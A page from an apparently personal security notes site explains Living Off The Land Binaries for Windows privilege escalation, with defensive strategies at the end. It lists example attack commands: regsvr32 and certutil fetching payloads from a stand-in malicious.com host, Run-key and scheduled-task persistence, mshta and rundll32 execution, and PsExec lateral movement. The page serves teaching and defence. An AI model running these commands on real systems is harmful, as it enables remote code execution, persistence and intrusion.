KARIM ASHRAF SPACE.
  • Who Am I ?
  • WRITEUPS
    • What about Practice in Cyber Security?
    • Dark Side of VSCode
    • What about Cy-nix Machine?
    • Cyberdefenders Labs
      • Web Investigation Blue Team Lab
      • Red Stealer Blue Team Lab
      • WebStrike Blue Team Lab
      • BlueSky Ransomware Blue Team Lab
      • PsExec Hunt Blue Team Lab
      • OpenWire Blue Team Lab
      • 3CX Supply Chain Blue Team Lab
      • PoisonedCredentials Lab
      • Reveal Lab
    • Lets Defend
      • Incident Responder Path
        • Cybersecurity Incident Handling Guide
          • Introduction to Incident Handling
          • Incident Handling Steps
          • Preparation
          • Detection and Analysis
          • Containment, Eradication, and Recovery
          • Post-Incident Activity
        • Incident Response on Windows
          • How to Create Incident Response Plan?
          • Incident Response Procedure
          • 3 Important Things
          • Free Tools That Can Be Used
          • Live Memory Analysis
          • Task Scheduler
          • Services
          • Registry Run Keys / Startup Folder
          • Files
          • Checklist
        • Incident Response on Linux
          • How to Create Incident Response Plan?
          • Incident Response Procedure
          • 3 Important Things
          • Users and Groups
          • Processes
          • Files and File System
          • Mounts
          • Network
          • Service
          • Cron Job
          • SSH Authorized Keys
          • Bash_rc & Bash_profile
          • Useful Log Files
        • Hacked Web Server Analysis
          • Introduction to Hacked Web Server Analysis
          • Log Analysis on Web Servers
          • Attacks on Web Servers
          • Attacks Against Web Applications
          • Vulnerabilities on Servers
          • Vulnerabilities in Programming Language
          • Discovering the Web Shell
          • Hacked Web Server Analysis Example
        • Log Analysis with Sysmon
          • Introduction and Set Up of Sysmon
          • Detecting Mimikatz with Sysmon
          • Detecting Pass The Hash with Sysmon
          • Detecting Privilege Escalation with Sysmon
        • Forensic Acquisition and Triage
          • Introduction to Forensics Acquisition and Triage
          • Acquiring Memory Image From Windows and Linux
          • Custom Image Using FTK and Mounting Image for Analysis
          • KAPE Targets for Acquisition
          • KAPE Modules for Triage and Analysis
          • Triage Using FireEye Redline
          • Acquisition and Triage of Disks Using Autopsy
        • Memory Forensics
          • What is Memory Forensics
          • Memory Analysis Procedures
        • Registry Forensics
          • Introduction to Windows Registry Forensics
          • Acquiring Registry Hives
          • Regedit and Registry Explorer
          • System, Users and Network Information
          • Shellbags
          • Shimcache
          • Amcache
          • Recent Files
          • Dialogue Boxes MRU
        • Event Log Analysis
          • Introduction to Event Logs
          • Event Log Analysis
          • Authentication Event Logs
          • Windows Scheduled Tasks Event Logs
          • Windows Services Event Logs
          • Account Management Events
          • Event Log Manipulation
          • Windows Firewall Event Logs
          • Windows Defender Event Logs
          • Powershell Command Execution Event logs
        • Browser Forensics
          • Introduction to Browser Forensics
          • Acquisition
          • Browser Artifacts
          • Tool: BrowsingHistoryView
          • Manual Browser Analysis
          • Hindsight Framework
        • GTFOBins
          • Introduction to GTFOBins
          • Shell
          • Command
          • Reverse Shell
          • Bind Shell
          • File Upload
          • File Download
          • Sudo
        • Hunting AD Attacks
          • Introduction to Active Directory
          • Hunting AS-REP Roasting Attack
          • Hunting for Kerberoasting Attacks
          • Hunting for LDAP Enumerations (Bloodhound_Sharphound)
          • Hunting for NTDS Database Dumping
          • Hunting for Golden Ticket Attacks
          • Hunting for NTLM Relay Attacks
        • Writing a Report on Security Incident
          • Introduction to Technical Writing
          • Reporting Standards
          • Reporting Style
          • Report Formatting
          • Report Templates
        • How to Prepare a Cyber Crisis Management Pla
          • Introduction to Crisis Management
          • General Preparation
          • Tools
          • Backups
          • Alerts and End of Crisis
        • Advanced Event Log Analysis
          • Process Creation
          • DNS Activity
          • File/Folder Monitoring
          • BITS Client Event Log
          • Network Connections Event Log
          • MSI Event Logs
        • USB Forensics
          • Introduction to USB Forensics
          • USB Registry Key
          • USB Event Logs
          • Folder Access Analysis via Shellbags
          • File Access Analysis via Jumplists
          • Automated USB Parsers Tools
        • Windows Disk Forensics
          • SRUM Database
          • Jumplists
          • Recycle Bin Artifacts
          • RDP Cache
          • Thumbnail Cache
    • BTLO LABS
      • Bruteforce BTLO
    • The Complete Active Directory Security Handbook
      • Introduction
      • Active Directory
      • Attack Technique 1: Pass the Hash: Use of Alternate Authentication Material (T1550)
      • Attack Technique 2: Pass the Ticket: Use of Alternate Authentication Material (T1550)
      • Attack Technique 3: Kerberoasting
      • Attack Technique 4: Golden Ticket Attack
      • Attack Technique 5: DCShadow Attack
      • Attack Technique 6: AS-REP Roasting
      • Attack Technique 7: LDAP Injection Attack
      • Attack Technique 8: PetitPotam NTLM Relay Attack on a Active Directory Certificate Services (AD CS)
      • Conclusion & References
    • Windows Privilege Escalation
      • Tools
      • Windows Version and Configuration
      • User Enumeration
      • Network Enumeration
      • Antivirus Enumeration
      • Default Writeable Folders
      • EoP - Looting for passwords
      • EoP - Incorrect permissions in services
      • EoP - Windows Subsystem for Linux (WSL)
      • EoP - Unquoted Service Paths
      • EoP - $PATH Interception
      • EoP - Named Pipes
      • EoP - Kernel Exploitation
      • EoP - AlwaysInstallElevated
      • EoP - Insecure GUI apps
      • EoP - Evaluating Vulnerable Drivers
      • EoP - Printers
      • EoP - Runas
      • EoP - Abusing Shadow Copies
      • EoP - From local administrator to NT SYSTEM
      • EoP - Living Off The Land Binaries and Scripts
      • EoP - Impersonation Privileges
      • EoP - Privileged File Write
      • References
      • Practical Labs
    • Advanced Log Analysis
      • Key Windows Event IDs for Cybersecurity Monitoring
      • Analyzing a Series of Failed Login Attempts from Multiple IP Addresses
      • Steps to Investigate Suspicious Outbound Network Traffic
      • Identifying and Responding to Lateral Movement within a Network
      • Distinguishing Between Legitimate and Malicious PowerShell Executions
      • Detecting and Analyzing a Potential Data Exfiltration Incident Using Log Data
      • Steps to Analyze PowerShell Logging (Event ID 4104) for Malicious Activity
      • How to Identify an Internal Pivot Attack Using Log Data
      • Indicators in Logs Suggesting a Privilege Escalation Attack
      • How to Detect Command and Control (C2) Communication Using Log Analysis
      • How to Analyze Logs to Detect a Brute-Force Attack on an RDP Service
      • How to Analyze Logs to Detect a Brute-Force Attack on an RDP Service
      • How to Detect the Use of Living-Off-the-Land Binaries (LOLBins) in Logs
      • How to Detect Malware Masquerading as a Legitimate Process Using Log Analysis
      • How to Detect and Analyze Lateral Movement Using Windows Event Logs
      • How to Detect Potential Ransomware Attacks in Their Early Stages Using Log Analysis
      • How to Detect and Analyze Privilege Escalation Using Windows Event Logs
      • How to Detect the Use of Mimikatz or Similar Tools in Log Data
      • How to Detect and Analyze DNS Tunneling Through Log Analysis
      • How to Detect a Pass-the-Hash (PtH) Attack Using Logs
      • How to Detect and Analyze an Attacker’s Use of a Remote Access Trojan (RAT) Using Log Data
      • How to Detect Lateral Movement Using Windows Event Logs
      • How to Detect and Investigate Data Exfiltration Using Logs
      • How to Identify and Analyze an Internal Phishing Campaign Using Email and System Logs
      • How to Detect and Analyze Ransomware Activity Using Logs
      • How to Detect Malicious PowerShell Activity Using Log Analysis
      • How to Detect and Respond to Brute-Force Attacks Using Log Data
      • How to Detect Privilege Escalation Attempts Using Windows Event Logs
      • How to Detect and Analyze Suspicious Domain Name Resolution Requests in DNS Logs
      • How to Detect and Respond to Unauthorized Access to Critical Files
      • How to Detect and Analyze Suspicious PowerShell Command Execution
      • How to Detect and Investigate Account Takeover (ATO) Attempts Using
      • How to Detect and Analyze the Use of Living Off the Land Binaries (LOLBins)
      • How to Detect and Investigate Lateral Movement
      • How to Detect and Investigate Data Exfiltration
      • How to Detect and Analyze Suspicious Activity Involving Service Accounts
      • How to Detect and Investigate Anomalous PowerShell Activity Related to Credential Dumping
      • How to Detect and Analyze the Execution of Unsigned or Malicious Executables
      • How to Detect and Investigate Abnormal Spikes in Network Traffic
    • Methods for Stealing Password in Browser
      • Important Tables and Columns
      • Important Queries
      • Profiles
      • Tools
        • HackBrowserData
        • Browser-password-stealer
        • BrowserPass
        • WebBrowserPassView
        • Infornito
        • Hindsight
        • BrowserFreak
        • BrowserStealer
    • Hack The Box Tracks
      • Soc Analyst Path 2024
        • 1. Incident Handling Process
          • Incident Handling Definition & Scope
          • Incident Handling's Value & Generic Notes
          • Cyber Kill Chain
          • Incident Handling Process Overview
          • Preparation Stage (Part 1)
          • Preparation Stage (Part 2)
          • DMARC
          • Endpoint Hardening (& EDR)
          • Network Protection
          • Privilege Identity Management / MFA / Passwords
          • Vulnerability Scanning
          • User Awareness Training
          • Active Directory Security Assessment
          • Purple Team Exercises
          • Detection & Analysis Stage (Part 1)
          • Initial Investigation
          • Incident Severity & Extent Questions
          • Incident Confidentiality & Communication
          • Detection & Analysis Stage (Part 2)
          • The Investigation
          • Initial Investigation Data
          • Creation & Usage Of IOCs
          • Identification Of New Leads & Impacted Systems
          • Data Collection & Analysis From The New Leads & Impacted Systems
          • Containment
          • Eradication
          • Recovery
          • Post-Incident Activity Stage
          • Reporting
        • 2. Security Monitoring & SIEM Fundamentals
          • What Is SIEM?
          • The Evolution Of SIEM And How It Works
          • SIEM Business Requirements & Use Cases Log Aggregation & Normalization
          • Data Flows Within A SIEM
          • What Are The Benefits Of Using A SIEM Solution
          • What Is the Elastic Stack?
          • The Elastic Stack As A SIEM Solution
          • How To Identify The Available Data
          • The Elastic Common Schema (ECS)
          • SOC Definition & Fundamentals
          • Evolution of Security Operations Centers (SOCs)
          • What Is MITRE ATT&CK?
          • What Is A SIEM Use Case?
          • How To Build SIEM Use Cases
          • SIEM Visualization Example 1: Failed Logon Attempts (All Users)
          • SIEM Visualization Example 2: Failed Logon Attempts (Disabled Users)
          • SIEM Visualization Example 3: Successful RDP Logon Related To Service Accounts
          • SIEM Visualization Example 4: Users Added or Removed from a Local Group
          • What Is Alert Triaging?
  • COURSES SUMMARY
    • TCM SEC
      • TCM linux Privilege Escalation
      • TCM OSINT
    • The SecOps Group
      • Certified AppSec Practitioner exam
      • CNSP Review
    • Cybrary
      • Cybrary Offensive Pentesting
  • TIPS&TRICKS
    • Windows Shorcuts Arrow Remover
    • Kali KEX
    • Intel TurboBoost
    • Pentest_Copilot
    • Ferdium
    • Youtube Adblock_Bybass
    • Burb-Bambdas
    • Burb Customizer
    • BetterFox
Powered by GitBook
On this page
  • Living Off The Land Binaries and Scripts (LOLBAS) in Elevation of Privilege (EoP)
  • Purpose of LOLBAS in Attacks
  • Criteria for LOLBin, LOLScript, and LOLLib Entries
  • Common Techniques and Examples
  • 1. Process Execution Using wmic.exe
  • 2. Remote Code Execution with regsvr32.exe
  • 3. File Compilation Using Microsoft.Workflow.Compiler.exe
  • 4. PowerShell Execution via mshta.exe
  • 5. DLL Execution with rundll32.exe
  • 6. Scheduled Tasks via schtasks.exe
  • 7. File Downloads Using certutil.exe
  • 8. Code Execution with InstallUtil.exe
  • 9. Registry Persistence via reg.exe
  • 10. Lateral Movement with PsExec.exe
  • Defensive Strategies Against LOLBAS Techniques
  • Conclusion
  1. WRITEUPS
  2. Windows Privilege Escalation

EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (LOLBAS) in Elevation of Privilege (EoP)

Overview

Living Off The Land Binaries and Scripts (LOLBAS) refer to the use of legitimate Microsoft-signed binaries, scripts, and libraries to perform unintended, powerful actions. These tools, collectively referred to as LOLBins, LOLScripts, and LOLLibs, can bypass traditional security measures, facilitate privilege escalation, and maintain persistence without relying on external malware.


Purpose of LOLBAS in Attacks

Attackers exploit LOLBAS to:

  • Evade detection by blending malicious activities with legitimate system processes.

  • Bypass security mechanisms such as application whitelisting and antivirus.

  • Persist on compromised systems using trusted tools to avoid raising alarms.


Criteria for LOLBin, LOLScript, and LOLLib Entries

  • Microsoft-Signed: Must be signed by Microsoft and either pre-installed or available through official Microsoft channels.

  • Unexpected Functionality: Provides capabilities beyond its documented purpose.

  • APT Relevance: Demonstrates value to Advanced Persistent Threat (APT) groups, red teams, or penetration testers.


Common Techniques and Examples

1. Process Execution Using wmic.exe

Description: Executes processes and manages system configurations via Windows Management Instrumentation (WMI).

Command Example:

wmic.exe process call create calc

Purpose: Executes calc.exe or other binaries stealthily, avoiding the need for new binaries.

Security Implication: Avoids detection by security systems that monitor new file execution.


2. Remote Code Execution with regsvr32.exe

Description: Designed for COM object registration, but can load and execute remote scripts.

Command Example:

regsvr32 /s /n /u /i:https://malicious.com/payload.sct scrobj.dll

Purpose: Executes remote code by loading scripts, bypassing download restrictions.

Security Implication: Bypasses application control and runs code via a trusted binary.


3. File Compilation Using Microsoft.Workflow.Compiler.exe

Description: Compiles workflows but can be used to process and execute unintended payloads.

Command Example:

Microsoft.Workflow.Compiler.exe tests.xml results.xml

Purpose: Leverages malicious XML to trigger code execution.

Security Implication: A stealthy approach for executing unauthorized workflows.


4. PowerShell Execution via mshta.exe

Description: Executes HTML applications but can run PowerShell commands through JavaScript.

Command Example:

mshta "javascript:new ActiveXObject('WScript.Shell').Run('powershell -command <cmd>');close();"

Purpose: Executes PowerShell commands within a JavaScript payload.

Security Implication: Avoids detection by running malicious scripts through a trusted binary.


5. DLL Execution with rundll32.exe

Description: Loads and executes DLLs, often used for fileless attacks.

Command Example:

rundll32.exe C:\malicious.dll,EntryPoint

Purpose: Executes code entirely in memory, evading traditional antivirus.

Security Implication: Bypasses executable monitoring while maintaining stealth.


6. Scheduled Tasks via schtasks.exe

Description: Creates tasks to execute commands or scripts at specific times or system events.

Command Example:

schtasks /create /tn "MaliciousTask" /tr "cmd.exe /c <command>" /sc onstart

Purpose: Establishes persistence through scheduled execution.

Security Implication: Stealthy task scheduling to evade detection.


7. File Downloads Using certutil.exe

Description: Primarily for certificate management, but capable of downloading files.

Command Example:

certutil -urlcache -split -f http://malicious.com/payload.exe C:\temp\payload.exe

Purpose: Downloads malicious files while appearing as legitimate network activity.

Security Implication: Evades detection by using a trusted binary for data transfer.


8. Code Execution with InstallUtil.exe

Description: Part of .NET Framework, executes .NET assemblies.

Command Example:

InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\MaliciousAssembly.exe

Purpose: Executes custom .NET code for stealthy payload delivery.

Security Implication: Avoids detection by running custom assemblies through a trusted binary.


9. Registry Persistence via reg.exe

Description: Modifies registry keys to execute commands or scripts during system startup.

Command Example:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "C:\malware.exe" /f

Purpose: Ensures persistence by running malicious files at user login.

Security Implication: Registry-based persistence often goes unnoticed by security systems.


10. Lateral Movement with PsExec.exe

Description: Executes processes on remote systems.

Command Example:

PsExec.exe \\target-machine -u admin -p password cmd.exe

Purpose: Facilitates lateral movement by running commands on remote systems.

Security Implication: If PsExec is allowed, it provides attackers easy lateral movement.


Defensive Strategies Against LOLBAS Techniques

1. Enhanced Logging and Monitoring

  • Use Sysmon or similar tools to log process creation, command-line arguments, and network activity.

  • Monitor execution of known LOLBins, especially with unusual parameters.

2. Application Control Policies

  • Implement AppLocker or Windows Defender Application Control (WDAC) to restrict usage of high-risk LOLBins.

  • Allow only pre-approved executables based on organizational requirements.

3. Binary and Script Restrictions

  • Remove or disable unneeded binaries such as bitsadmin.exe, certutil.exe, and mshta.exe.

  • Enforce script execution policies for PowerShell and other scripting environments.

4. Regular System Audits

  • Periodically audit installed binaries and scripts to ensure integrity.

  • Identify and remove unauthorized or outdated binaries.

5. Threat Hunting and Baseline Analysis

  • Establish activity baselines for LOLBin usage and detect deviations.

  • Proactively search for unusual command-line patterns or scheduled tasks.


Conclusion

The abuse of LOLBAS techniques presents a significant challenge in modern cybersecurity, allowing attackers to evade traditional defenses by leveraging trusted binaries. By understanding these methods and implementing robust defensive strategies, organizations can enhance their detection and mitigation capabilities against these stealthy attack vectors.

PreviousEoP - From local administrator to NT SYSTEMNextEoP - Impersonation Privileges

Last updated 5 months ago